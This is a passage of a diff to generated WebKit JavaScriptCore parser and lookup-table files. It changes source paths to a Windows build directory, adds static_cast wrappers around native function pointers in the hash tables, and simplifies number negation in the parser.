-#line 1791 "../parser/Grammar.y"
+#line 1791 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 585:
 
 /* Line 1455 of yacc.c  */
-#line 1802 "../parser/Grammar.y"
+#line 1802 "parser\\Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 592:
 
 /* Line 1455 of yacc.c  */
-#line 1818 "../parser/Grammar.y"
+#line 1818 "parser\\Grammar.y"
     { ;}
     break;
 
 
 
 /* Line 1455 of yacc.c  */
-#line 5119 "JavaScriptCore/tmp/../generated/Grammar.tab.c"
+#line 5119 "C:/dev/webkit-2.0/JavaScriptCore/generated\\Grammar.tab.c"
       default: break;
     }
   YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
@@ -5334,7 +5334,7 @@ yyreturn:
 
 
 /* Line 1675 of yacc.c  */
-#line 1834 "../parser/Grammar.y"
+#line 1834 "parser\\Grammar.y"
 
 
 #undef GLOBAL_DATA
@@ -5491,12 +5491,9 @@ static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData* globalData, co
 static ExpressionNode* makeNegateNode(JSGlobalData* globalData, ExpressionNode* n)
 {
     if (n->isNumber()) {
-        NumberNode* number = static_cast<NumberNode*>(n);
-
-        if (number->value() > 0.0) {
-            number->setValue(-number->value());
-            return number;
-        }
+        NumberNode* numberNode = static_cast<NumberNode*>(n);
+        numberNode->setValue(-numberNode->value());
+        return numberNode;
     }
 
     return new (globalData) NegateNode(globalData, n);
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.h b/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.h
index a485e42..69942f7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/Grammar.h
@@ -112,7 +112,7 @@ typedef union YYSTYPE
 {
 
 /* Line 1676 of yacc.c  */
-#line 146 "../parser/Grammar.y"
+#line 146 "parser\\Grammar.y"
 
     int                 intValue;
     double              doubleValue;
@@ -147,7 +147,7 @@ typedef union YYSTYPE
 
 
 /* Line 1676 of yacc.c  */
-#line 151 "JavaScriptCore/tmp/../generated/Grammar.tab.h"
+#line 151 "C:/dev/webkit-2.0/JavaScriptCore/generated\\Grammar.tab.h"
 } YYSTYPE;
 # define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/JSONObject.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/JSONObject.lut.h
index a9b1631..acfe7d2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/JSONObject.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/JSONObject.lut.h
@@ -1,12 +1,12 @@
-// Automatically generated from ../runtime/JSONObject.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\JSONObject.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue jsonTableValues[3] = {
-   { "parse", DontEnum|Function, (intptr_t)JSONProtoFuncParse, (intptr_t)1 },
-   { "stringify", DontEnum|Function, (intptr_t)JSONProtoFuncStringify, (intptr_t)1 },
+   { "parse", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(JSONProtoFuncParse), (intptr_t)1 },
+   { "stringify", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(JSONProtoFuncStringify), (intptr_t)1 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/Lexer.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/Lexer.lut.h
index 95c33b6..556a6f4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/Lexer.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/Lexer.lut.h
@@ -1,46 +1,46 @@
-// Automatically generated from ../parser/Keywords.table using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from parser\Keywords.table using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue mainTableValues[37] = {
-   { "null", 0, (intptr_t)NULLTOKEN, (intptr_t)0 },
-   { "true", 0, (intptr_t)TRUETOKEN, (intptr_t)0 },
-   { "false", 0, (intptr_t)FALSETOKEN, (intptr_t)0 },
-   { "break", 0, (intptr_t)BREAK, (intptr_t)0 },
-   { "case", 0, (intptr_t)CASE, (intptr_t)0 },
-   { "catch", 0, (intptr_t)CATCH, (intptr_t)0 },
-   { "const", 0, (intptr_t)CONSTTOKEN, (intptr_t)0 },
-   { "default", 0, (intptr_t)DEFAULT, (intptr_t)0 },
-   { "finally", 0, (intptr_t)FINALLY, (intptr_t)0 },
-   { "for", 0, (intptr_t)FOR, (intptr_t)0 },
-   { "instanceof", 0, (intptr_t)INSTANCEOF, (intptr_t)0 },
-   { "new", 0, (intptr_t)NEW, (intptr_t)0 },
-   { "var", 0, (intptr_t)VAR, (intptr_t)0 },
-   { "continue", 0, (intptr_t)CONTINUE, (intptr_t)0 },
-   { "function", 0, (intptr_t)FUNCTION, (intptr_t)0 },
-   { "return", 0, (intptr_t)RETURN, (intptr_t)0 },
-   { "void", 0, (intptr_t)VOIDTOKEN, (intptr_t)0 },
-   { "delete", 0, (intptr_t)DELETETOKEN, (intptr_t)0 },
-   { "if", 0, (intptr_t)IF, (intptr_t)0 },
-   { "this", 0, (intptr_t)THISTOKEN, (intptr_t)0 },
-   { "do", 0, (intptr_t)DO, (intptr_t)0 },
-   { "while", 0, (intptr_t)WHILE, (intptr_t)0 },
-   { "else", 0, (intptr_t)ELSE, (intptr_t)0 },
-   { "in", 0, (intptr_t)INTOKEN, (intptr_t)0 },
-   { "switch", 0, (intptr_t)SWITCH, (intptr_t)0 },
-   { "throw", 0, (intptr_t)THROW, (intptr_t)0 },
-   { "try", 0, (intptr_t)TRY, (intptr_t)0 },
-   { "typeof", 0, (intptr_t)TYPEOF, (intptr_t)0 },
-   { "with", 0, (intptr_t)WITH, (intptr_t)0 },
-   { "debugger", 0, (intptr_t)DEBUGGER, (intptr_t)0 },
-   { "class", 0, (intptr_t)RESERVED, (intptr_t)0 },
-   { "enum", 0, (intptr_t)RESERVED, (intptr_t)0 },
-   { "export", 0, (intptr_t)RESERVED, (intptr_t)0 },
-   { "extends", 0, (intptr_t)RESERVED, (intptr_t)0 },
-   { "import", 0, (intptr_t)RESERVED, (intptr_t)0 },
-   { "super", 0, (intptr_t)RESERVED, (intptr_t)0 },
+   { "null", 0, (intptr_t)(NULLTOKEN), (intptr_t)0 },
+   { "true", 0, (intptr_t)(TRUETOKEN), (intptr_t)0 },
+   { "false", 0, (intptr_t)(FALSETOKEN), (intptr_t)0 },
+   { "break", 0, (intptr_t)(BREAK), (intptr_t)0 },
+   { "case", 0, (intptr_t)(CASE), (intptr_t)0 },
+   { "catch", 0, (intptr_t)(CATCH), (intptr_t)0 },
+   { "const", 0, (intptr_t)(CONSTTOKEN), (intptr_t)0 },
+   { "default", 0, (intptr_t)(DEFAULT), (intptr_t)0 },
+   { "finally", 0, (intptr_t)(FINALLY), (intptr_t)0 },
+   { "for", 0, (intptr_t)(FOR), (intptr_t)0 },
+   { "instanceof", 0, (intptr_t)(INSTANCEOF), (intptr_t)0 },
+   { "new", 0, (intptr_t)(NEW), (intptr_t)0 },
+   { "var", 0, (intptr_t)(VAR), (intptr_t)0 },
+   { "continue", 0, (intptr_t)(CONTINUE), (intptr_t)0 },
+   { "function", 0, (intptr_t)(FUNCTION), (intptr_t)0 },
+   { "return", 0, (intptr_t)(RETURN), (intptr_t)0 },
+   { "void", 0, (intptr_t)(VOIDTOKEN), (intptr_t)0 },
+   { "delete", 0, (intptr_t)(DELETETOKEN), (intptr_t)0 },
+   { "if", 0, (intptr_t)(IF), (intptr_t)0 },
+   { "this", 0, (intptr_t)(THISTOKEN), (intptr_t)0 },
+   { "do", 0, (intptr_t)(DO), (intptr_t)0 },
+   { "while", 0, (intptr_t)(WHILE), (intptr_t)0 },
+   { "else", 0, (intptr_t)(ELSE), (intptr_t)0 },
+   { "in", 0, (intptr_t)(INTOKEN), (intptr_t)0 },
+   { "switch", 0, (intptr_t)(SWITCH), (intptr_t)0 },
+   { "throw", 0, (intptr_t)(THROW), (intptr_t)0 },
+   { "try", 0, (intptr_t)(TRY), (intptr_t)0 },
+   { "typeof", 0, (intptr_t)(TYPEOF), (intptr_t)0 },
+   { "with", 0, (intptr_t)(WITH), (intptr_t)0 },
+   { "debugger", 0, (intptr_t)(DEBUGGER), (intptr_t)0 },
+   { "class", 0, (intptr_t)(RESERVED), (intptr_t)0 },
+   { "enum", 0, (intptr_t)(RESERVED), (intptr_t)0 },
+   { "export", 0, (intptr_t)(RESERVED), (intptr_t)0 },
+   { "extends", 0, (intptr_t)(RESERVED), (intptr_t)0 },
+   { "import", 0, (intptr_t)(RESERVED), (intptr_t)0 },
+   { "super", 0, (intptr_t)(RESERVED), (intptr_t)0 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/MathObject.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/MathObject.lut.h
index 9cb0ee2..85a1bb6 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/MathObject.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/MathObject.lut.h
@@ -1,28 +1,28 @@
-// Automatically generated from ../runtime/MathObject.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\MathObject.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue mathTableValues[19] = {
-   { "abs", DontEnum|Function, (intptr_t)mathProtoFuncAbs, (intptr_t)1 },
-   { "acos", DontEnum|Function, (intptr_t)mathProtoFuncACos, (intptr_t)1 },
-   { "asin", DontEnum|Function, (intptr_t)mathProtoFuncASin, (intptr_t)1 },
-   { "atan", DontEnum|Function, (intptr_t)mathProtoFuncATan, (intptr_t)1 },
-   { "atan2", DontEnum|Function, (intptr_t)mathProtoFuncATan2, (intptr_t)2 },
-   { "ceil", DontEnum|Function, (intptr_t)mathProtoFuncCeil, (intptr_t)1 },
-   { "cos", DontEnum|Function, (intptr_t)mathProtoFuncCos, (intptr_t)1 },
-   { "exp", DontEnum|Function, (intptr_t)mathProtoFuncExp, (intptr_t)1 },
-   { "floor", DontEnum|Function, (intptr_t)mathProtoFuncFloor, (intptr_t)1 },
-   { "log", DontEnum|Function, (intptr_t)mathProtoFuncLog, (intptr_t)1 },
-   { "max", DontEnum|Function, (intptr_t)mathProtoFuncMax, (intptr_t)2 },
-   { "min", DontEnum|Function, (intptr_t)mathProtoFuncMin, (intptr_t)2 },
-   { "pow", DontEnum|Function, (intptr_t)mathProtoFuncPow, (intptr_t)2 },
-   { "random", DontEnum|Function, (intptr_t)mathProtoFuncRandom, (intptr_t)0 },
-   { "round", DontEnum|Function, (intptr_t)mathProtoFuncRound, (intptr_t)1 },
-   { "sin", DontEnum|Function, (intptr_t)mathProtoFuncSin, (intptr_t)1 },
-   { "sqrt", DontEnum|Function, (intptr_t)mathProtoFuncSqrt, (intptr_t)1 },
-   { "tan", DontEnum|Function, (intptr_t)mathProtoFuncTan, (intptr_t)1 },
+   { "abs", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncAbs), (intptr_t)1 },
+   { "acos", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncACos), (intptr_t)1 },
+   { "asin", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncASin), (intptr_t)1 },
+   { "atan", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncATan), (intptr_t)1 },
+   { "atan2", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncATan2), (intptr_t)2 },
+   { "ceil", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncCeil), (intptr_t)1 },
+   { "cos", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncCos), (intptr_t)1 },
+   { "exp", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncExp), (intptr_t)1 },
+   { "floor", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncFloor), (intptr_t)1 },
+   { "log", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncLog), (intptr_t)1 },
+   { "max", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncMax), (intptr_t)2 },
+   { "min", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncMin), (intptr_t)2 },
+   { "pow", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncPow), (intptr_t)2 },
+   { "random", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncRandom), (intptr_t)0 },
+   { "round", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncRound), (intptr_t)1 },
+   { "sin", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncSin), (intptr_t)1 },
+   { "sqrt", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncSqrt), (intptr_t)1 },
+   { "tan", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(mathProtoFuncTan), (intptr_t)1 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/NumberConstructor.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/NumberConstructor.lut.h
index 6285d62..1cd4117 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/NumberConstructor.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/NumberConstructor.lut.h
@@ -1,15 +1,15 @@
-// Automatically generated from ../runtime/NumberConstructor.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\NumberConstructor.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue numberTableValues[6] = {
-   { "NaN", DontEnum|DontDelete|ReadOnly, (intptr_t)numberConstructorNaNValue, (intptr_t)0 },
-   { "NEGATIVE_INFINITY", DontEnum|DontDelete|ReadOnly, (intptr_t)numberConstructorNegInfinity, (intptr_t)0 },
-   { "POSITIVE_INFINITY", DontEnum|DontDelete|ReadOnly, (intptr_t)numberConstructorPosInfinity, (intptr_t)0 },
-   { "MAX_VALUE", DontEnum|DontDelete|ReadOnly, (intptr_t)numberConstructorMaxValue, (intptr_t)0 },
-   { "MIN_VALUE", DontEnum|DontDelete|ReadOnly, (intptr_t)numberConstructorMinValue, (intptr_t)0 },
+   { "NaN", DontEnum|DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(numberConstructorNaNValue), (intptr_t)0 },
+   { "NEGATIVE_INFINITY", DontEnum|DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(numberConstructorNegInfinity), (intptr_t)0 },
+   { "POSITIVE_INFINITY", DontEnum|DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(numberConstructorPosInfinity), (intptr_t)0 },
+   { "MAX_VALUE", DontEnum|DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(numberConstructorMaxValue), (intptr_t)0 },
+   { "MIN_VALUE", DontEnum|DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(numberConstructorMinValue), (intptr_t)0 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/RegExpConstructor.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/RegExpConstructor.lut.h
index a3f15b3..938d368 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/RegExpConstructor.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/RegExpConstructor.lut.h
@@ -1,31 +1,31 @@
-// Automatically generated from ../runtime/RegExpConstructor.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\RegExpConstructor.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue regExpConstructorTableValues[22] = {
-   { "input", None, (intptr_t)regExpConstructorInput, (intptr_t)setRegExpConstructorInput },
-   { "$_", DontEnum, (intptr_t)regExpConstructorInput, (intptr_t)setRegExpConstructorInput },
-   { "multiline", None, (intptr_t)regExpConstructorMultiline, (intptr_t)setRegExpConstructorMultiline },
-   { "$*", DontEnum, (intptr_t)regExpConstructorMultiline, (intptr_t)setRegExpConstructorMultiline },
-   { "lastMatch", DontDelete|ReadOnly, (intptr_t)regExpConstructorLastMatch, (intptr_t)0 },
-   { "$&", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpConstructorLastMatch, (intptr_t)0 },
-   { "lastParen", DontDelete|ReadOnly, (intptr_t)regExpConstructorLastParen, (intptr_t)0 },
-   { "$+", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpConstructorLastParen, (intptr_t)0 },
-   { "leftContext", DontDelete|ReadOnly, (intptr_t)regExpConstructorLeftContext, (intptr_t)0 },
-   { "$`", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpConstructorLeftContext, (intptr_t)0 },
-   { "rightContext", DontDelete|ReadOnly, (intptr_t)regExpConstructorRightContext, (intptr_t)0 },
-   { "$'", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpConstructorRightContext, (intptr_t)0 },
-   { "$1", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar1, (intptr_t)0 },
-   { "$2", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar2, (intptr_t)0 },
-   { "$3", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar3, (intptr_t)0 },
-   { "$4", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar4, (intptr_t)0 },
-   { "$5", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar5, (intptr_t)0 },
-   { "$6", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar6, (intptr_t)0 },
-   { "$7", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar7, (intptr_t)0 },
-   { "$8", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar8, (intptr_t)0 },
-   { "$9", DontDelete|ReadOnly, (intptr_t)regExpConstructorDollar9, (intptr_t)0 },
+   { "input", None, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorInput), (intptr_t)setRegExpConstructorInput },
+   { "$_", DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorInput), (intptr_t)setRegExpConstructorInput },
+   { "multiline", None, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorMultiline), (intptr_t)setRegExpConstructorMultiline },
+   { "$*", DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorMultiline), (intptr_t)setRegExpConstructorMultiline },
+   { "lastMatch", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLastMatch), (intptr_t)0 },
+   { "$&", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLastMatch), (intptr_t)0 },
+   { "lastParen", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLastParen), (intptr_t)0 },
+   { "$+", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLastParen), (intptr_t)0 },
+   { "leftContext", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLeftContext), (intptr_t)0 },
+   { "$`", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorLeftContext), (intptr_t)0 },
+   { "rightContext", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorRightContext), (intptr_t)0 },
+   { "$'", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorRightContext), (intptr_t)0 },
+   { "$1", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar1), (intptr_t)0 },
+   { "$2", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar2), (intptr_t)0 },
+   { "$3", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar3), (intptr_t)0 },
+   { "$4", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar4), (intptr_t)0 },
+   { "$5", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar5), (intptr_t)0 },
+   { "$6", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar6), (intptr_t)0 },
+   { "$7", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar7), (intptr_t)0 },
+   { "$8", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar8), (intptr_t)0 },
+   { "$9", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpConstructorDollar9), (intptr_t)0 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/RegExpObject.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/RegExpObject.lut.h
index 8c87f16..aadd236 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/RegExpObject.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/RegExpObject.lut.h
@@ -1,15 +1,15 @@
-// Automatically generated from ../runtime/RegExpObject.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\RegExpObject.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue regExpTableValues[6] = {
-   { "global", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpObjectGlobal, (intptr_t)0 },
-   { "ignoreCase", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpObjectIgnoreCase, (intptr_t)0 },
-   { "multiline", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpObjectMultiline, (intptr_t)0 },
-   { "source", DontDelete|ReadOnly|DontEnum, (intptr_t)regExpObjectSource, (intptr_t)0 },
-   { "lastIndex", DontDelete|DontEnum, (intptr_t)regExpObjectLastIndex, (intptr_t)setRegExpObjectLastIndex },
+   { "global", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpObjectGlobal), (intptr_t)0 },
+   { "ignoreCase", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpObjectIgnoreCase), (intptr_t)0 },
+   { "multiline", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpObjectMultiline), (intptr_t)0 },
+   { "source", DontDelete|ReadOnly|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpObjectSource), (intptr_t)0 },
+   { "lastIndex", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(regExpObjectLastIndex), (intptr_t)setRegExpObjectLastIndex },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/StringPrototype.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/StringPrototype.lut.h
index c8ff849..2d08eac 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/StringPrototype.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/StringPrototype.lut.h
@@ -1,45 +1,45 @@
-// Automatically generated from ../runtime/StringPrototype.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\StringPrototype.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue stringTableValues[36] = {
-   { "toString", DontEnum|Function, (intptr_t)stringProtoFuncToString, (intptr_t)0 },
-   { "valueOf", DontEnum|Function, (intptr_t)stringProtoFuncToString, (intptr_t)0 },
-   { "charAt", DontEnum|Function, (intptr_t)stringProtoFuncCharAt, (intptr_t)1 },
-   { "charCodeAt", DontEnum|Function, (intptr_t)stringProtoFuncCharCodeAt, (intptr_t)1 },
-   { "concat", DontEnum|Function, (intptr_t)stringProtoFuncConcat, (intptr_t)1 },
-   { "indexOf", DontEnum|Function, (intptr_t)stringProtoFuncIndexOf, (intptr_t)1 },
-   { "lastIndexOf", DontEnum|Function, (intptr_t)stringProtoFuncLastIndexOf, (intptr_t)1 },
-   { "match", DontEnum|Function, (intptr_t)stringProtoFuncMatch, (intptr_t)1 },
-   { "replace", DontEnum|Function, (intptr_t)stringProtoFuncReplace, (intptr_t)2 },
-   { "search", DontEnum|Function, (intptr_t)stringProtoFuncSearch, (intptr_t)1 },
-   { "slice", DontEnum|Function, (intptr_t)stringProtoFuncSlice, (intptr_t)2 },
-   { "split", DontEnum|Function, (intptr_t)stringProtoFuncSplit, (intptr_t)2 },
-   { "substr", DontEnum|Function, (intptr_t)stringProtoFuncSubstr, (intptr_t)2 },
-   { "substring", DontEnum|Function, (intptr_t)stringProtoFuncSubstring, (intptr_t)2 },
-   { "toLowerCase", DontEnum|Function, (intptr_t)stringProtoFuncToLowerCase, (intptr_t)0 },
-   { "toUpperCase", DontEnum|Function, (intptr_t)stringProtoFuncToUpperCase, (intptr_t)0 },
-   { "localeCompare", DontEnum|Function, (intptr_t)stringProtoFuncLocaleCompare, (intptr_t)1 },
-   { "toLocaleLowerCase", DontEnum|Function, (intptr_t)stringProtoFuncToLowerCase, (intptr_t)0 },
-   { "toLocaleUpperCase", DontEnum|Function, (intptr_t)stringProtoFuncToUpperCase, (intptr_t)0 },
-   { "big", DontEnum|Function, (intptr_t)stringProtoFuncBig, (intptr_t)0 },
-   { "small", DontEnum|Function, (intptr_t)stringProtoFuncSmall, (intptr_t)0 },
-   { "blink", DontEnum|Function, (intptr_t)stringProtoFuncBlink, (intptr_t)0 },
-   { "bold", DontEnum|Function, (intptr_t)stringProtoFuncBold, (intptr_t)0 },
-   { "fixed", DontEnum|Function, (intptr_t)stringProtoFuncFixed, (intptr_t)0 },
-   { "italics", DontEnum|Function, (intptr_t)stringProtoFuncItalics, (intptr_t)0 },
-   { "strike", DontEnum|Function, (intptr_t)stringProtoFuncStrike, (intptr_t)0 },
-   { "sub", DontEnum|Function, (intptr_t)stringProtoFuncSub, (intptr_t)0 },
-   { "sup", DontEnum|Function, (intptr_t)stringProtoFuncSup, (intptr_t)0 },
-   { "fontcolor", DontEnum|Function, (intptr_t)stringProtoFuncFontcolor, (intptr_t)1 },
-   { "fontsize", DontEnum|Function, (intptr_t)stringProtoFuncFontsize, (intptr_t)1 },
-   { "anchor", DontEnum|Function, (intptr_t)stringProtoFuncAnchor, (intptr_t)1 },
-   { "link", DontEnum|Function, (intptr_t)stringProtoFuncLink, (intptr_t)1 },
-   { "trim", DontEnum|Function, (intptr_t)stringProtoFuncTrim, (intptr_t)0 },
-   { "trimLeft", DontEnum|Function, (intptr_t)stringProtoFuncTrimLeft, (intptr_t)0 },
-   { "trimRight", DontEnum|Function, (intptr_t)stringProtoFuncTrimRight, (intptr_t)0 },
+   { "toString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToString), (intptr_t)0 },
+   { "valueOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToString), (intptr_t)0 },
+   { "charAt", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncCharAt), (intptr_t)1 },
+   { "charCodeAt", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncCharCodeAt), (intptr_t)1 },
+   { "concat", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncConcat), (intptr_t)1 },
+   { "indexOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncIndexOf), (intptr_t)1 },
+   { "lastIndexOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncLastIndexOf), (intptr_t)1 },
+   { "match", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncMatch), (intptr_t)1 },
+   { "replace", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncReplace), (intptr_t)2 },
+   { "search", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSearch), (intptr_t)1 },
+   { "slice", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSlice), (intptr_t)2 },
+   { "split", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSplit), (intptr_t)2 },
+   { "substr", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSubstr), (intptr_t)2 },
+   { "substring", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSubstring), (intptr_t)2 },
